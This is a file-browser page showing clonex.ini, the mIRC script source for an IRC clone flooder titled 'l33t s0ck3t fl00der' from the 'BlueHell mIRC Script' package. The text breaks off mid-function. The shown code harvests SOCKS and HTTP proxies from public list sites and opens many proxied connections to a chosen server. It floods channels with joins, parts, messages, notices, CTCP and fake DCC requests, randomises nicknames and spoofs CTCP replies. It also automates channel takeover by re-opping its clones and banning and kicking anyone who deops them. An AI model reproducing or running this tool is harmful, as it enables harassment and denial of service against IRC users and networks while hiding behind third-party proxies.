BlueHell mIRC Script — File Browser
BlueHellmIRCScriptv1.0 / BlueHellmIRCScriptv1.0 / BlueHellScript / clonex.ini
clonex.ini — 29.24 KB — Download this file
[script]
n0=Alias Clone {
n1= /dialog $iif($dialog(Clone),-c,-m) Clone Clone
n2=}
n3=dialog Clone {
n4= title "l33t s0ck3t fl00der"
n5= size -1 -1 422 366
n6= option pixels
n7= tab "Settings", 75, 8 8 404 340
n8= edit "irc.littleproject.de", 2, 60 46 151 21, tab 75 autohs
n9= text "Server:", 3, 20 48 34 16, tab 75
n10= edit "6667", 4, 212 46 44 20, tab 75 limit 5
n11= text "Protocol:", 5, 18 76 42 16, tab 75
n12= combo 6, 61 70 60 68, tab 75 size drop
n13= box "On Connect", 7, 19 208 238 130, tab 75
n14= box "Nickname and Real Name", 8, 19 115 238 94, tab 75
n15= text "Connects:", 9, 18 100 66 16, tab 75
n16= edit "128", 10, 84 94 44 20, tab 75 limit 4
n17= radio "Random", 11, 22 126 58 20, tab 75
n18= radio "Nicklist:", 12, 22 145 54 20, tab 75
n19= radio "Other:", 13, 22 166 54 20, tab 75
n20= edit "", 14, 80 143 130 20, disable tab 75 autohs
n21= edit "", 15, 80 164 130 20, disable tab 75 limit 10
n22= button "&Browse", 16, 212 153 41 20, disable tab 75
n23= text "UserMode:", 17, 34 222 50 16, tab 75
n24= edit "+idxB", 18, 88 218 60 20, tab 75
n25= edit "", 19, 22 253 232 80, tab 75 multi return autohs autovs
n26= text "CMDs:", 20, 22 237 106 16, tab 75
n27= box "Proxy/Socks List", 26, 258 38 147 300, tab 75
n28= edit "", 85, 80 185 174 21, tab 75 autohs limit 70
n29= text "IP:", 27, 260 58 26 16, tab 75
n30= text "Port:", 28, 260 78 26 16, tab 75
n31= edit "", 29, 287 53 115 20, tab 75 limit 15
n32= edit "", 30, 287 74 115 20, tab 75 limit 5
n33= button "Add", 31, 273 96 60 20, tab 75
n34= button "Remove", 32, 333 96 60 20, tab 75
n35= button "Import", 33, 273 116 60 20, tab 75
n36= list 34, 260 138 142 172, tab 75 size
n37= button "Remove All", 35, 260 311 142 24, tab 75
n38= check "CTCP Replies", 81, 132 95 84 20, tab 75
n39= text "Real Name:", 82, 22 190 56 16, tab 75
n40= button "Clipboard", 83, 333 116 60 20, tab 75
n41= tab "Flooding", 76
n42= box "Nicklist", 37, 12 31 103 236, tab 76
n43= button "Join", 41, 116 37 50 20, disable tab 76
n44= edit "", 42, 167 37 60 21, tab 76 autohs
n45= button "Part", 43, 116 58 50 20, disable tab 76
n46= edit "", 44, 167 58 60 21, tab 76 autohs
n47= edit "", 45, 228 58 178 21, tab 76 autohs
n48= button "Join Part", 46, 116 79 50 20, disable tab 76
n49= edit "", 47, 167 79 60 21, tab 76 autohs
n50= edit "", 48, 228 79 178 21, tab 76 autohs
n51= button "Message", 49, 116 100 50 20, disable tab 76
n52= edit "", 50, 167 100 60 21, tab 76 autohs
n53= edit "", 51, 228 100 178 21, tab 76 autohs
n54= button "Notice", 52, 116 121 50 20, disable tab 76
n55= edit "", 53, 167 121 60 21, tab 76 autohs
n56= edit "", 54, 228 121 178 21, tab 76 autohs
n57= button "Describe", 55, 116 142 50 20, disable tab 76
n58= edit "", 56, 167 142 60 21, tab 76 autohs
n59= edit "", 57, 228 142 178 21, tab 76 autohs
n60= button "CTCP", 58, 116 163 50 20, disable tab 76
n61= edit "", 59, 167 163 60 21, tab 76 autohs
n62= combo 60, 228 163 60 76, tab 76 size edit drop
n63= button "Send*", 61, 116 184 50 20, disable tab 76
n64= edit "", 62, 167 184 60 21, tab 76 autohs
n65= edit "", 63, 228 184 178 21, tab 76 autohs
n66= button "Chat*", 64, 116 205 50 20, disable tab 76
n67= edit "", 65, 167 205 60 21, tab 76 autohs
n68= button "Nick", 66, 116 247 50 20, tab 76
n69= radio "Nicklist:", 68, 169 268 54 20, tab 76
n70= radio "Other:", 69, 340 226 54 20, tab 76
n71= radio "Random", 67, 169 247 58 20, tab 76
n72= button "Browse", 72, 340 268 50 20, disable tab 76
n73= edit "", 70, 221 267 118 21, disable tab 76 autohs
n74= edit "", 74, 167 226 170 21, tab 76 multi return autohs autovs
n75= button "Raw", 73, 116 226 50 20, disable tab 76
n76= edit "", 71, 167 226 170 21, disable tab 76 limit 10
n77= list 38, 14 46 98 219, tab 76 size extsel
n78= text "Perform:", 39, 11 284 42 16, tab 76
n79= combo 40, 53 280 62 60, tab 76 size drop
n80= text "Sockets:", 23, 12 324 92 16, tab 76
n81= text "Connected:", 22, 11 307 92 16, tab 76
n82= text "0", 24, 70 307 42 16, tab 76
n83= text "0", 25, 70 324 42 16, tab 76
n84= tab "Status", 86
n85= list 123, 14 34 389 280, tab 86 size read multi vsbar hsbar
n86= radio "Debug On", 87, 15 320 75 20, tab 86
n87= radio "Debug Off", 88, 89 320 83 20, tab 86
n88= button "Clear DeBug", 999, 190 318 100 20, tab 86
n89= tab "Proxy Fetcher", 97
n90= combo 98, 14 46 200 21, tab 97 size drop
n91= button "&Add URL", 99, 215 47 50 20, tab 97
n92= list 100, 14 70 250 79, tab 97 size drop
n93= box "URL List", 101, 12 31 390 306, tab 97
n94= box "Taken Proxies/Socks", 102, 14 149 146 186, tab 97
n95= list 103, 17 164 140 167, tab 97 size
n96= button "Export", 104, 245 200 84 20, tab 97
n97= text "Total Sites:", 105, 210 260 58 16, tab 97
n98= text "0", 106, 275 260 122 16, tab 97
n99= button "Get List", 107, 265 120 90 20, tab 97
n100= button "Move to Proxy/Socks List", 109, 160 220 169 20, tab 97
n101= text "Completed:", 110, 210 280 58 16, tab 97
n102= text "0", 111, 275 280 122 16, tab 97
n103= text "Socks/Proxies Taken:", 112, 163 242 106 16, tab 97
n104= text "0", 113, 275 242 74 16, tab 97
n105= tab "Ciscos", 500
n106= button "Clear", 108, 160 200 84 20, tab 97
n107= button "Remove Selected", 114, 265 80 90 20, tab 97
n108= button "Remove All", 115, 265 100 90 20, tab 97
n109= button "&Connect", 77, 1 345 70 20
n110= button "&Disconnect", 78, 71 345 70 20
n111= button "&Exit", 79, 351 345 70 20
n112= button "Op.BotNet", 502, 211 345 70 20
n113= button "IP:Ports", 80, 281 345 70 20
n114= button "Stop", 84, 141 345 70 20
n115=}
n116=on *:dialog:Clone:Init:*: {
n117= Did -a $DName 6 Proxy
n118= Did -a $DName 6 Sock
n119= Did -c $DName 6 2
n120= Did -a $DName 40 All
n121= Did -a $DName 40 Selected
n122= Did -c $DName 40 1
n123= Did -a $DName 60 PING
n124= Did -a $DName 60 TIME
n125= Did -a $DName 60 VERSION
n126= Did -a $DName 98 http://sockslist.net/
n127= Did -a $DName 98 http://www.xroxy.com/proxy-type-Socks5.htm
n128= Did -a $DName 98 http://www.socks-proxy.net/
n129= Did -c $DName 98 3
n130= Did -c $DName 11
n131= Did -c $DName 67
n132=}
n133=on *:dialog:Clone:Edit:*: {
n134= If ($Did == 42) {
n135= If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }
n136= Else { Did -b $DName 41 }
n137= }
n138= If ($Did == 44) {
n139= If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
n140= Else { Did -b $DName 43 }
n141= }
n142= If ($Did == 47) {
n143= If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
n144= Else { Did -b $DName 46 }
n145= }
n146= If ($Did == 50) {
n147= If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
n148= Else { Did -b $DName 49 }
n149= }
n150= If ($Did == 51) {
n151= If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
n152= Else { Did -b $DName 49 }
n153= }
n154= If ($Did == 53) {
n155= If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
n156= Else { Did -b $DName 52 }
n157= }
n158= If ($Did == 54) {
n159= If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
n160= Else { Did -b $DName 52 }
n161= }
n162= If ($Did == 56) {
n163= If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }
n164= Else { Did -b $DName 55 }
n165= }
n166= If ($Did == 57) {
n167= If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }
n168= Else { Did -b $DName 55 }
n169= }
n170= If ($Did == 59) {
n171= If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
n172= Else { Did -b $DName 58 }
n173= }
n174= If ($Did == 60) {
n175= If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
n176= Else { Did -b $DName 58 }
n177= }
n178= If ($Did == 62) {
n179= If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
n180= Else { Did -b $DName 61 }
n181= }
n182= If ($Did == 63) {
n183= If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
n184= Else { Did -b $DName 61 }
n185= }
n186= If ($Did == 65) {
n187= If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
n188= Else { Did -b $DName 64 }
n189= }
n190= If ($Did == 74) {
n191= If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
n192= Else { Did -b $DName 73 }
n193= }
n194= If ($Did == 70) {
n195= If ($Did(70)) { Did -e $DName 66 }
n196= Else { Did -b $DName 66 }
n197= }
n198= If ($Did == 71) {
n199= If ($Did(71)) { Did -e $DName 66 }
n200= Else { Did -b $DName 66 }
n201= }
n202=}
n203=Alias Clone.Error { Var %E = $Input($1-,o,Clone) }
n204=on *:dialog:Clone:SClick:*: {
n205= if ($did == 502) /clone.op
n206= if ($did == 503) /clone.mass $did(600)
n207= if ($did == 504) /clone.stop
n208= if ($did == 507) /sockwrite -n * join $did(600)
n209= if ($did == 508) /sockwrite -n * part $did(600) : $+ $taketop
n210= if ($did == 509) /f3us $did(600)
n211= if ($did == 510) /kick.control
n212= if ($did == 999) Did -r $DName 123
n213=
n214= If ($Did == 31) {
n215= If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) }
n216= Else { Clone.Error Invalid Sock/Proxy or Port }
n217= }
n218= If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel }
n219= If ($Did == 33) {
n220= Var %F = $SFile($mIRCDir,Clone,Import)
n221= If (%F) {
n222= Var %I = 1
n223= While ($Read(%F,%I)) {
n224= Var %F1 = $Read(%F,%I)
n225= If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
n226= If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
n227= Else { Did -a $DName 34 %F1 }
n228= Inc %I
n229= }
n230= }
n231= }
n232= If ($Did == 83) {
n233= Var %I = 1
n234= While ($CB(%I)) {
n235= Var %F1 = $CB(%I)
n236= If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
n237= If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
n238= Else { Did -a $DName 34 %F1 }
n239= Inc %I
n240= }
n241= }
n242= If ($Did == 35) { Did -r $DName 34 }
n243= If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }
n244= If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }
n245= If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }
n246= If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
n247= If ($Did == 68) {
n248= Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
n249= If ($Did(70)) { Did -e $DName 66 }
n250= Else { Did -b $DName 66 }
n251= }
n252= If ($Did == 69) {
n253= Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
n254= If ($Did(71)) { Did -e $DName 66 }
n255= Else { Did -b $DName 66 }
n256= }
n257= If ($Did == 16) {
n258= Var %F = $SFile($mIRCDir,Clone,Import)
n259= If (%F) { Did -ra $DName 14 %F }
n260= }
n261= If ($Did == 72) {
n262= Var %F = $SFile($mIRCDir,Clone,Import)
n263= If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
n264= }
n265= If ($Did == 60) {
n266= If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
n267= Else { Did -b $DName 58 }
n268= }
n269= If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) }
n270= If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) }
n271= If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) }
n272= If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) }
n273= If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) }
n274= If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :ACTION $Did(57) $+ }
n275= If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) : $+ $Did(60) $+ }
n276= If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }
n277= If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
n278= If ($Did == 66) { Clone.Do $Did(40) NICK }
n279= If ($Did == 73) {
n280= Var %I = 1
n281= While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I }
n282= }
n283= If ($Did == 77) {
n284= If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list }
n285= ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
n286= ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
n287= ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
n288= ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
n289= ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
n290= ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
n291= Else { .TimerClone.Go $Did(10) 0 Clone.Go }
n292= }
n293= If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* | /fo }
n294= If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
n295= If ($Did == 80) { Clone.IPs }
n296= If ($Did == 84) {
n297= Var %I = 1
n298= While ($Sock(Clone.*,%I)) {
n299= If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) }
n300= Inc %I
n301= }
n302= Did -ra Clone 25 $Sock(Clone.*,0)
n303= }
n304= If ($Did == 99) {
n305= Did -a $DName 100 $Did(98)
n306= Did -ra $DName 106 $Calc($Did(106) + 1)
n307= }
n308= If ($Did == 104) {
n309= Var %F = $Input(Enter Filename:,ego,Clone)
n310= If (%F) {
n311= Var %I = 1
n312= While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I }
n313= }
n314= }
n315= If ($Did == 107) {
n316= Did -ra $DName 111 0
n317= Var %I = 1
n318= While ($Did(100,%I)) {
n319= SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80
n320= Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47)
n321= Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47))
n322= Inc %I
n323= }
n324= }
n325= If ($Did == 108) { Did -r $DName 103 }
n326= If ($Did == 109) {
n327= Did -r $DName 34
n328= Var %I = 1
n329= While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I }
n330= }
n331= If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel }
n332= If ($Did == 115) { Did -r $DName 100 }
n333=}
n334=on *:SockOpen:CloneGet.*: {
n335= SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0
n336= SockWrite -n $SockName Accept: */*
n337= SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
n338= SockWrite -n $SockName Connection: Keep-Alive
n339= SockWrite -n $SockName
n340= Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ]
n341= Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
n342=}
n343=on *:SockRead:CloneGet.*: {
n344= SockRead %R
n345= If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) {
n346= Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32)
n347= Did -ra Clone 113 $Calc($Did(Clone,113) + 1)
n348= }
n349= Unset %R
n350=}
n351=Alias SockQueue {
n352= If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- }
n353= Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- }
n354=}
n355=On *:SockClose:CloneGet.* {
n356= If ($Var(%Clone.Queue.*,1)) {
n357= SockOpen $Var(%Clone.Queue.*,1).Value
n358= Unset $Var(%Clone.Queue.*,1)
n359= }
n360= Did -ra Clone 111 $Calc($Did(Clone,111) + 1)
n361=}
n362=#Clone.DNS off
n363=on *:DNS: {
n364= If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go }
n365= Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) }
n366= .Disable #Clone.DNS
n367= Halt
n368=}
n369=#Clone.DNS End
n370=Alias Clone.Do {
n371= If ($1 == All) {
n372= Var %I = 1
n373= While ($Sock(Clone.*,%I)) {
n374= If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PART $3- }
n375= ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }
n376= ElseIf ($2 == NICK) {
n377= If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick }
n378= If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }
n379= If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(4) }
n380= }
n381= ElseIf ($2 == KICK) {
n382= set %kicknickall $nick($3,0)
n383= set %kicknick $nick($3,$rand(1,%kicknickall))
n384= if (%kicknick == Q) || (%kicknick == L) || ($me isin %kicknick) || ($protnick(%kicknick) == ON) || ($clonenick(%kicknick) == ON) goto aaa
n385=
n386= SockWrite -nt $Sock(Clone.*,%I) $2 $3 %kicknick : $+ $takekick
n387=
n388= :aaa
n389= }
n390= Else { SockWrite -nt $Sock(Clone.*,%I) $2- }
n391= Inc %I
n392= }
n393= }
n394= If ($1 == Selected) {
n395= Var %I = 1
n396= While ($Did(Clone,38,%I)) {
n397= If ($Did(Clone,38,%I).State == 1) {
n398= Var %J = 1
n399= While ($Sock(Clone.*,%J)) {
n400= If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) {
n401= If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- }
n402= ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }
n403= ElseIf ($2 == NICK) {
n404= If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick }
n405= If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }
n406= If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) }
n407= }
n408= Else { SockWrite -nt $Sock(Clone.*,%J) $2- }
n409= }
n410= Inc %J
n411= }
n412= }
n413= Inc %I
n414= }
n415= }
n416=}
n417=Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } }
n418=on *:SockOpen:Clone.*: {
n419= If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }
n420= If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
n421= If (Clone.Proxy.* iswm $SockName) {
n422= SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1
n423= SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
n424= Clone.Conn.User $SockName
n425= }
n426= If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
n427= Did -ra Clone 25 $Sock(Clone.*,0)
n428=}
n429=on *:SockRead:Clone.*: {
n430= If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }
n431= If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) {
n432= SockRead &Read
n433= If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
n434= Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
n435= Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
n436= BSet &Clone.Send 1 5 1 0 1 %Serv %Port
n437= SockWrite $SockName &Clone.Send
n438= }
n439= If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
n440= }
n441= SockRead %Clone.Read
n442= If (%Clone.Read && $did(clone,87).state == 1) { did -a clone 123 %clone.read }
n443= Tokenize 32 %Clone.Read
n444= Unset %Clone.Read
n445= If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) {
n446= SockClose $SockName
n447= }
n448= If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
n449= If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) {
n450= If ($4 == :FINGER) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :FINGER $FReply($Rand(1,5)) $+ }
n451= If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
n452= If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }
n453= If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION $VReply($Rand(1,10)) $+ }
n454= If ($4 == :FINGER) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :FINGER $FReply($Rand(1,10)) $+ }
n455= }
n456= If (($2 == MODE) && (-oooooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooooooo $5- }
n457= If (($2 == MODE) && (-ooooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooooooooo $5- }
n458= If (($2 == MODE) && (-oooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooooo $5- }
n459= If (($2 == MODE) && (-ooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooooooo $5- }
n460= If (($2 == MODE) && (-oooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooo $5- }
n461= If (($2 == MODE) && (-ooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooooo $5- }
n462= If (($2 == MODE) && (-oooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooo $5- }
n463= If (($2 == MODE) && (-ooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooo $5- }
n464= If (($2 == MODE) && (-oooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooo $5- }
n465= If (($2 == MODE) && (-ooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooo $5- }
n466= If (($2 == MODE) && (-oo iswm $4)) { SockWrite -nt $SockName Mode $3 +oo $5- }
n467= If (($2 == MODE) && (-o iswm $4)) { SockWrite -nt $SockName Mode $3 +o $5- }
n468= If (($2 == MODE) && (-o iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooooooooooooooooo $5- | SockWrite -tn Clone.Sock.* MODE $3 +b $remove($Gettok($1,1,33), :) | SockWrite -nt $SockName Kick $3 $remove($Gettok($1,1,33), :) }
n469=
n470= If ($2 == 001) {
n471= Var %I = 1
n472= While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
n473= If ($3) { Did -a Clone 38 $3 }
n474= Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)
n475= SockWrite -nt $SockName Mode $3 $Did(Clone,18)
n476= SockMark $SockName $3
n477= }
n478= If ($2 == 433) {
n479= If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
n480= If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }
n481= If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
n482= If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
n483= }
n484= Else {
n485= If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }
n486= If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName }
n487= If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
n488= }
n489= }
n490= If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
n491= Var %I = 1
n492= While ($Did(Clone,38,%I)) {
n493= If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) }
n494= Inc %I
n495= }
n496= SockMark $SockName $Remove($3,:)
n497= }
n498= Did -ra Clone 25 $Sock(Clone.*,0)
n499=}
n500=Alias Clone.Ignore {
n501= Var %I = 1
n502= While ($Did(Clone,96,%I)) {
n503= If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) }
n504= Inc %I
n505= }
n506=}
n507=on *:dialog:Clone.IPs:Init:*: { Clone.IPs }
n508=on *:dialog:Clone.IPs:SClick:2: { Clone.IPs }
n509=on *:SockClose:Clone.*: {
n510= If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
n511= Var %I = 1
n512= While ($Did(Clone,38,%I)) {
n513= If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I }
n514= Inc %I
n515= }
n516= }
n517= Did -ra Clone 25 $Sock(Clone.*,0)
n518= Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)
n519=}
n520=Alias Clone.Nick { Return $Sock($1).Mark }
n521=Alias Clone.Sock {
n522= Var %I = 1
n523= While ($Sock(Clone.*,%I)) {
n524= If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) }
n525= Inc %I
n526= }
n527=}
n528=Alias Clone.RandNick {
n529= Var %I = $Iif($1,$1,$Rand(24,39)), %J = 1
n530= While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }
n531= Return %N
n532=}
n533=Alias Clone.Conn.User {
n534= If ($Did(Clone,11).State == 1) {
n535= SockWrite -nt $1 USER $Lower($Clone.RandNick) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70)))
n536= SockWrite -nt $1 NICK $Clone.RandNick
n537= }
n538= If ($Did(Clone,12).State == 1) {
n539= Var %N = $Gettok($Read($Did(Clone,14)),1,32)
n540= SockWrite -nt $1 USER $lower($clone.randnick) "" "" : $+ $lower($clone.randnick)
